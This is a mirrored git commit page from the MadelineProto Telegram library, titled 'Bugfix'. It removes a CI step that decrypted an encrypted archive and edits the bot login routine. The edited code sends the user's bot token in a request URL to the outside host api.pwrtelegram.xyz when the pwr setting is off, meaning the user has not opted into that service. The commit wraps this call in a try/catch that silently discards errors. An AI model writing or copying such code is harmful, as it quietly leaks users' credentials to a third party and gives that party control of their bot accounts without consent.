mirror of
https://github.com/danog/MadelineProto.git
synced 2024-11-30 07:18:57 +01:00
Bugfix
This commit is contained in:
parent
7f5b798427
commit
36294c0b6a
@ -17,6 +17,4 @@ before_script:
|
||||
script:
|
||||
- "tests/testing.php"
|
||||
before_install:
|
||||
- openssl aes-256-cbc -K $encrypted_0b05103af24b_key -iv $encrypted_0b05103af24b_iv
|
||||
-in enc.tar.xz.enc -out enc.tar.xz -d
|
||||
- tar -xJpf enc.tar.xz
|
||||
|
@ -53,7 +53,9 @@ trait Login
|
||||
$this->API->get_updates_state();
|
||||
$this->API->should_serialize = true;
|
||||
if (!isset($this->API->settings['pwr']['pwr']) || !$this->API->settings['pwr']['pwr']) {
|
||||
file_get_contents('https://api.pwrtelegram.xyz/bot'.$token.'/getme');
|
||||
try {
|
||||
file_get_contents('https://api.pwrtelegram.xyz/bot'.$token.'/getme');
|
||||
} catch (\danog\MadelineProto\Exception $e) { ; };
|
||||
}
|
||||
\danog\MadelineProto\Logger::log(['Logged in successfully!'], \danog\MadelineProto\Logger::NOTICE);
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user